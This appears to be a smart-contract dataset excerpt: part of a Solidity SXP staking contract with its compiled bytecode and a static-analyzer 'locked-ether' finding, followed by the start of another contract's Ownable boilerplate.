current.blockNumberOrCheckpointIndex = current.blockNumberOrCheckpointIndex.add(1);
current.stakedAmount = current.stakedAmount.add(amount);
_stakedMap[msg.sender][current.blockNumberOrCheckpointIndex] = Checkpoint({
blockNumberOrCheckpointIndex: block.number,
stakedAmount: current.stakedAmount
});
_totalStaked = _totalStaked.add(amount);
emit Stake(
msg.sender,
amount
);
require(
IErc20Token(_sxpTokenAddress).transferFrom(
msg.sender,
address(this),
amount
),
"Stake failed"
);
}
/**
* @notice Claims reward of the provided nonce.
*
* @param nonce The claim nonce uniquely identifying the authorization to claim
*/
function claim(uint256 nonce) external {
uint256 amount = _approvedClaimMap[msg.sender][nonce];
require(
amount > 0,
"Invalid nonce"
);
require(
_rewardPoolAmount >= amount,
"Insufficient reward pool"
);
delete _approvedClaimMap[msg.sender][nonce];
_rewardPoolAmount = _rewardPoolAmount.sub(amount);
emit Claim(
msg.sender,
amount,
nonce
);
require(
IErc20Token(_sxpTokenAddress).transfer(
msg.sender,
amount
),
"Claim failed"
);
}
/**
* @notice Withdraws the provided amount of staked
*
* @param amount The amount to withdraw
*/
function withdraw(uint256 amount) external {
require(
getStakedAmount(msg.sender) >= amount,
"Exceeded amount"
);
Checkpoint storage current = _stakedMap[msg.sender][0];
current.blockNumberOrCheckpointIndex = current.blockNumberOrCheckpointIndex.add(1);
current.stakedAmount = current.stakedAmount.sub(amount);
_stakedMap[msg.sender][current.blockNumberOrCheckpointIndex] = Checkpoint({
blockNumberOrCheckpointIndex: block.number,
stakedAmount: current.stakedAmount
});
_totalStaked = _totalStaked.sub(amount);
emit Withdraw(
msg.sender,
amount
);
require(
IErc20Token(_sxpTokenAddress).transfer(
msg.sender,
amount
),
"Withdraw failed"
);
}
/*****************
* ADMIN ACTIONS *
*****************/
/**
* @notice Initializes contract.
*
* @param guardian Guardian address
* @param sxpTokenAddress SXP token address
* @param rewardProvider The reward provider address
*/
function initialize(
address guardian,
address sxpTokenAddress,
address rewardProvider
) external {
require(
!_initialized,
"Contract has been already initialized"
);
_guardian = guardian;
_sxpTokenAddress = sxpTokenAddress;
_rewardProvider = rewardProvider;
_minimumStakeAmount = 1000 * (10**18);
_rewardCycle = 1 days;
_rewardAmount = 40000 * (10**18);
_rewardCycleTimestamp = block.timestamp;
_initialized = true;
emit Initialize(
_guardian,
_sxpTokenAddress,
_rewardProvider,
_minimumStakeAmount,
_rewardCycle,
_rewardAmount,
_rewardCycleTimestamp
);
}
/**
* @notice Authorizes the transfer of guardianship from guardian to the provided address.
* NOTE: No transfer will occur unless authorizedAddress calls assumeGuardianship( ).
* This authorization may be removed by another call to this function authorizing
* the null address.
*
* @param authorizedAddress The address authorized to become the new guardian.
*/
function authorizeGuardianshipTransfer(address authorizedAddress) external {
require(
msg.sender == _guardian,
"Only the guardian can authorize a new address to become guardian"
);
_authorizedNewGuardian = authorizedAddress;
emit GuardianshipTransferAuthorization(_authorizedNewGuardian);
}
/**
* @notice Transfers guardianship of this contract to the _authorizedNewGuardian.
*/
function assumeGuardianship() external {
require(
msg.sender == _authorizedNewGuardian,
"Only the authorized new guardian can accept guardianship"
);
address oldValue = _guardian;
_guardian = _authorizedNewGuardian;
_authorizedNewGuardian = address(0);
emit GuardianUpdate(oldValue, _guardian);
}
/**
* @notice Updates the minimum stake amount.
*
* @param newMinimumStakeAmount The amount to be allowed as minimum to users
*/
function setMinimumStakeAmount(uint256 newMinimumStakeAmount) external {
require(
msg.sender == _guardian || msg.sender == _rewardProvider,
"Only the guardian or reward provider can set the minimum stake amount"
);
require(
newMinimumStakeAmount > 0,
"Invalid amount"
);
uint256 oldValue = _minimumStakeAmount;
_minimumStakeAmount = newMinimumStakeAmount;
emit MinimumStakeAmountUpdate(oldValue, _minimumStakeAmount);
}
/**
* @notice Updates the Reward Provider address, the only address that can provide reward.
*
* @param newRewardProvider The address of the new Reward Provider
*/
function setRewardProvider(address newRewardProvider) external {
require(
msg.sender == _guardian,
"Only the guardian can set the reward provider address"
);
address oldValue = _rewardProvider;
_rewardProvider = newRewardProvider;
emit RewardProviderUpdate(oldValue, _rewardProvider);
}
/**
* @notice Updates the reward policy, the only address that can provide reward.
*
* @param newRewardCycle New reward cycle
* @param newRewardAmount New reward amount a cycle
*/
function setRewardPolicy(uint256 newRewardCycle, uint256 newRewardAmount) external {
require(
msg.sender == _rewardProvider,
"Only the reward provider can set the reward policy"
);
_prevRewardCycle = _rewardCycle;
_prevRewardAmount = _rewardAmount;
_prevRewardCycleTimestamp = _rewardCycleTimestamp;
_rewardCycle = newRewardCycle;
_rewardAmount = newRewardAmount;
_rewardCycleTimestamp = block.timestamp;
emit RewardPolicyUpdate(
_prevRewardCycle,
_prevRewardAmount,
_rewardCycle,
_rewardAmount,
_rewardCycleTimestamp
);
}
/**
* @notice Deposits the provided amount into reward pool.
*
* @param amount The amount to deposit into reward pool
*/
function depositRewardPool(uint256 amount) external {
require(
msg.sender == _rewardProvider,
"Only the reword provider can deposit"
);
_rewardPoolAmount = _rewardPoolAmount.add(amount);
emit DepositRewardPool(
msg.sender,
amount
);
require(
IErc20Token(_sxpTokenAddress).transferFrom(
msg.sender,
address(this),
amount
),
"Deposit reward pool failed"
);
}
/**
* @notice Withdraws the provided amount from reward pool.
*
* @param amount The amount to withdraw from reward pool
*/
function withdrawRewardPool(uint256 amount) external {
require(
msg.sender == _rewardProvider,
"Only the reword provider can withdraw"
);
require(
_rewardPoolAmount >= amount,
"Exceeded amount"
);
_rewardPoolAmount = _rewardPoolAmount.sub(amount);
emit WithdrawRewardPool(
msg.sender,
amount
);
require(
IErc20Token(_sxpTokenAddress).transfer(
msg.sender,
amount
),
"Withdraw failed"
);
}
/**
* @notice Approves the provided address to claim the provided amount.
*
* @param toAddress The address can claim reward
* @param amount The amount to claim
*/
function approveClaim(address toAddress, uint256 amount) external returns(uint256) {
require(
msg.sender == _rewardProvider,
"Only the reword provider can approve"
);
require(
_rewardPoolAmount >= amount,
"Insufficient reward pool"
);
_claimNonce = _claimNonce.add(1);
_approvedClaimMap[toAddress][_claimNonce] = amount;
emit ApproveClaim(
toAddress,
amount,
_claimNonce
);
return _claimNonce;
}
/********************
* VALUE ACTIONS *
********************/
/**
* @notice Does not accept ETH.
*/
function () external payable {
revert();
}
/**
* @notice Transfers out any accidentally sent ERC20 tokens.
*
* @param tokenAddress ERC20 token address, must not SXP
* @param amount The amount to transfer out
*/
function transferOtherErc20Token(address tokenAddress, uint256 amount) external returns (bool) {
require(
msg.sender == _guardian,
"Only the guardian can transfer out"
);
require(
tokenAddress != _sxpTokenAddress,
"Can't transfer SXP token out"
);
return IErc20Token(tokenAddress).transfer(
_guardian,
amount
);
}
}
|
0x6080604052600436106101d85760003560e01c80636f97e8a911610102578063c630d16e11610095578063f01c11a911610064578063f01c11a914610959578063f2ad7908146109c8578063f3af1b2314610a37578063f4c66e6114610a62576101d8565b8063c630d16e14610869578063c74cab49146108dc578063ca2b6dae14610917578063da37bad314610942576101d8565b8063a9778eba116100d1578063a9778eba14610705578063aab0e5d914610756578063b7e3ae7a14610781578063c0c53b8b146107d8576101d8565b80636f97e8a91461062f578063961e9b781461065a5780639c0f69fd1461069f578063a694fc3a146106ca576101d8565b80632e1a7d4d1161017a5780634c15d259116101495780634c15d259146104e75780634da6a556146105225780635116ec5d146105875780635c08cc49146105de576101d8565b80632e1a7d4d146103ef578063379607f51461042a5780633b1a45b11461046557806349db98fa146104bc576101d8565b80630c0102d0116101b65780630c0102d0146103075780630d29fcd4146103325780631773bbaa1461036d57806325f4ecdf146103c4576101d8565b806306fdde03146101dd578063075da7ef1461026d5780630b237c3b146102dc575b600080fd5b3480156101e957600080fd5b506101f2610a8d565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610232578082015181840152602081019050610217565b50505050905090810190601f16801561025f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561027957600080fd5b506102c66004803603604081101561029057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b2b565b6040518082815260200191505060405180910390f35b3480156102e857600080fd5b506102f1610c36565b6040518082815260200191505060405180910390f35b34801561031357600080fd5b5061031c610c3c565b6040518082815260200191505060405180910390f35b34801561033e57600080fd5b5061036b6004803603602081101561035557600080fd5b8101908080359060200190929190505050610c42565b005b34801561037957600080fd5b50610382610df7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103d057600080fd5b506103d9610e1c565b6040518082815260200191505060405180910390f35b3480156103fb57600080fd5b506104286004803603602081101561041257600080fd5b8101908080359060200190929190505050610e22565b005b34801561043657600080fd5b506104636004803603602081101561044d57600080fd5b8101908080359060200190929190505050611170565b005b34801561047157600080fd5b5061047a6114c1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104c857600080fd5b506104d16114e7565b6040518082815260200191505060405180910390f35b3480156104f357600080fd5b506105206004803603602081101561050a57600080fd5b81019080803590602001909291905050506114ed565b005b34801561052e57600080fd5b506105716004803603602081101561054557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061177f565b6040518082815260200191505060405180910390f35b34801561059357600080fd5b5061059c6117e1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105ea57600080fd5b5061062d6004803603602081101561060157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611807565b005b34801561063b57600080fd5b50610644611955565b6040518082815260200191505060405180910390f35b34801561066657600080fd5b5061069d6004803603604081101561067d57600080fd5b81019080803590602001909291908035906020019092919050505061195b565b005b3480156106ab57600080fd5b506106b4611a81565b6040518082815260200191505060405180910390f35b3480156106d657600080fd5b50610703600480360360208110156106ed57600080fd5b8101908080359060200190929190505050611a87565b005b34801561071157600080fd5b506107546004803603602081101561072857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e03565b005b34801561076257600080fd5b5061076b611f90565b6040518082815260200191505060405180910390f35b34801561078d57600080fd5b50610796611f96565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107e457600080fd5b50610867600480360360608110156107fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fbc565b005b34801561087557600080fd5b506108c26004803603604081101561088c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612236565b604051808215151515815260200191505060405180910390f35b3480156108e857600080fd5b50610915600480360360208110156108ff57600080fd5b810190808035906020019092919050505061248c565b005b34801561092357600080fd5b5061092c612762565b6040518082815260200191505060405180910390f35b34801561094e57600080fd5b50610957612768565b005b34801561096557600080fd5b506109b26004803603604081101561097c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612956565b6040518082815260200191505060405180910390f35b3480156109d457600080fd5b50610a21600480360360408110156109eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061297b565b6040518082815260200191505060405180910390f35b348015610a4357600080fd5b50610a4c612b60565b6040518082815260200191505060405180910390f35b348015610a6e57600080fd5b50610a77612b66565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b235780601f10610af857610100808354040283529160200191610b23565b820191906000526020600020905b815481529060010190602001808311610b0657829003601f168201915b505050505081565b600080821415610b4557610b3e8361177f565b9050610c30565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600080815260200190815260200160002090506000816000015490505b6000811115610c29576000600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000838152602001908152602001600020905084816000015411610c1a5780600101549350505050610c30565b50808060019003915050610ba3565b5060009150505b92915050565b600c5481565b60065481565b6001809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610cea5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610d3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526045815260200180612ded6045913960600191505060405180910390fd5b60008111610db5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f496e76616c696420616d6f756e7400000000000000000000000000000000000081525060200191505060405180910390fd5b6000600454905081600481905550600454817f99a5dbeb3fb261a65380aaf084e9c4c468fd06c0a396a97625311cad75bc072b60405160405180910390a35050565b6001809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b80610e2c3361177f565b1015610ea0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f457863656564656420616d6f756e74000000000000000000000000000000000081525060200191505060405180910390fd5b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008081526020019081526020016000209050610f0c60018260000154612b6c90919063ffffffff16565b8160000181905550610f2b828260010154612bf490919063ffffffff16565b816001018190555060405180604001604052804381526020018260010154815250600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000836000015481526020019081526020016000206000820151816000015560208201518160010155905050610fcc82600654612bf490919063ffffffff16565b600681905550813373ffffffffffffffffffffffffffffffffffffffff167f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a942436460405160405180910390a3600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156110bf57600080fd5b505af11580156110d3573d6000803e3d6000fd5b505050506040513d60208110156110e957600080fd5b810190808051906020019092919050505061116c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f5769746864726177206661696c6564000000000000000000000000000000000081525060200191505060405180910390fd5b5050565b6000601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000205490506000811161123b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f496e76616c6964206e6f6e63650000000000000000000000000000000000000081525060200191505060405180910390fd5b80600d5410156112b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f496e73756666696369656e742072657761726420706f6f6c000000000000000081525060200191505060405180910390fd5b601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905561131c81600d54612bf490919063ffffffff16565b600d8190555081813373ffffffffffffffffffffffffffffffffffffffff167f34fcbac0073d7c3d388e51312faf357774904998eeb8fca628b9e6f65ee1cbf760405160405180910390a4600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561141057600080fd5b505af1158015611424573d6000803e3d6000fd5b505050506040513d602081101561143a57600080fd5b81019080805190602001909291905050506114bd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f436c61696d206661696c6564000000000000000000000000000000000000000081525060200191505060405180910390fd5b5050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611593576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612d256024913960400191505060405180910390fd5b6115a881600d54612b6c90919063ffffffff16565b600d81905550803373ffffffffffffffffffffffffffffffffffffffff167faa80d46ff68ffef19fb8a742b290872062bba59fd6f318643cde8df3a120fae560405160405180910390a3600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156116cf57600080fd5b505af11580156116e3573d6000803e3d6000fd5b505050506040513d60208110156116f957600080fd5b810190808051906020019092919050505061177c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f4465706f7369742072657761726420706f6f6c206661696c656400000000000081525060200191505060405180910390fd5b50565b600080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600080815260200190815260200160002090508060010154915050919050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6001809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146118ac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526040815260200180612c7e6040913960400191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f2beaaf6b1e91e99a40beddf7cbb2a2fb0e923d50b6ca1cce5d21e983d48136ee60405160405180910390a250565b60085481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526032815260200180612cf36032913960400191505060405180910390fd5b600a54600781905550600b54600881905550600c5460098190555081600a8190555080600b8190555042600c81905550600c54600b54600a547f6fa541e67b2b9567015dba8516f6a05ac1dfa2c878987f4bf1abda2cbba3ca12600754600854604051808381526020018281526020019250505060405180910390a45050565b600d5481565b600454811015611aff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f546f6f20736d616c6c20616d6f756e740000000000000000000000000000000081525060200191505060405180910390fd5b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008081526020019081526020016000209050611b6b60018260000154612b6c90919063ffffffff16565b8160000181905550611b8a828260010154612b6c90919063ffffffff16565b816001018190555060405180604001604052804381526020018260010154815250600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000836000015481526020019081526020016000206000820151816000015560208201518160010155905050611c2b82600654612b6c90919063ffffffff16565b600681905550813373ffffffffffffffffffffffffffffffffffffffff167febedb8b3c678666e7f36970bc8f57abf6d8fa2e828c0da91ea5b75bf68ed101a60405160405180910390a3600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611d5257600080fd5b505af1158015611d66573d6000803e3d6000fd5b505050506040513d6020811015611d7c57600080fd5b8101908080519060200190929190505050611dff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f5374616b65206661696c6564000000000000000000000000000000000000000081525060200191505060405180910390fd5b5050565b6001809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611ea8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526035815260200180612cbe6035913960400191505060405180910390fd5b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fcfca19c8db859331cf0c08c38d4c7998e63115c8e3549c89da6ea92ad206e10c60405160405180910390a35050565b600f5481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900460ff1615612022576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612d496025913960400191505060405180910390fd5b826001806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550683635c9adc5dea0000060048190555062015180600a81905550690878678326eac9000000600b8190555042600c8190555060018060006101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166001809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fc07571c7ed247be941e7c804db4d392d40e26751ee0549fac27c9a7347ee21f0600454600a54600b54600c546040518085815260200184815260200183815260200182815260200194505050505060405180910390a4505050565b60006001809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146122dd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612d936022913960400191505060405180910390fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156123a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f43616e2774207472616e736665722053585020746f6b656e206f75740000000081525060200191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6001809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561244957600080fd5b505af115801561245d573d6000803e3d6000fd5b505050506040513d602081101561247357600080fd5b8101908080519060200190929190505050905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612532576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612d6e6025913960400191505060405180910390fd5b80600d5410156125aa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f457863656564656420616d6f756e74000000000000000000000000000000000081525060200191505060405180910390fd5b6125bf81600d54612bf490919063ffffffff16565b600d81905550803373ffffffffffffffffffffffffffffffffffffffff167f0ea2105b11e2bdb1dcee3144aea42f0da38f0733d95417214300d3c630bcfbe660405160405180910390a3600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156126b257600080fd5b505af11580156126c6573d6000803e3d6000fd5b505050506040513d60208110156126dc57600080fd5b810190808051906020019092919050505061275f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f5769746864726177206661696c6564000000000000000000000000000000000081525060200191505060405180910390fd5b50565b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461280e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180612db56038913960400191505060405180910390fd5b60006001809054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f85bd8788d3c4a160f0f6254229589f137d5633a870dcb46f99ffe07b4da1894b60405160405180910390a350565b6010602052816000526040600020602052806000526040600020600091509150505481565b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612a23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612e326024913960400191505060405180910390fd5b81600d541015612a9b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f496e73756666696369656e742072657761726420706f6f6c000000000000000081525060200191505060405180910390fd5b612ab16001600f54612b6c90919063ffffffff16565b600f8190555081601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600f54815260200190815260200160002081905550600f54828473ffffffffffffffffffffffffffffffffffffffff167f34fcce9d9a542cf79462224315a375abc31dd31c798ef7c09b3f6b00c837607260405160405180910390a4600f54905092915050565b60095481565b600a5481565b600080828401905083811015612bea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600082821115612c6c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b60008284039050809150509291505056fe4f6e6c792074686520677561726469616e2063616e20617574686f72697a652061206e6577206164647265737320746f206265636f6d6520677561726469616e4f6e6c792074686520677561726469616e2063616e2073657420746865207265776172642070726f766964657220616464726573734f6e6c7920746865207265776172642070726f76696465722063616e20736574207468652072657761726420706f6c6963794f6e6c7920746865207265776f72642070726f76696465722063616e206465706f736974436f6e747261637420686173206265656e20616c726561647920696e697469616c697a65644f6e6c7920746865207265776f72642070726f76696465722063616e2077697468647261774f6e6c792074686520677561726469616e2063616e207472616e73666572206f75744f6e6c792074686520617574686f72697a6564206e657720677561726469616e2063616e2061636365707420677561726469616e736869704f6e6c792074686520677561726469616e206f72207265776172642070726f76696465722063616e2073657420746865206d696e696d756d207374616b6520616d6f756e744f6e6c7920746865207265776f72642070726f76696465722063616e20617070726f7665a265627a7a72315820b47fe28635ad326e3a66d41dfa7cedba145bf5e9eec37defee024854daf2048c64736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 5,727 |
0xd4bcd51d37e871013e3ef679fff63821f26972b2
|
//SPDX-License-Identifier: Unlicense
pragma solidity =0.6.6;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
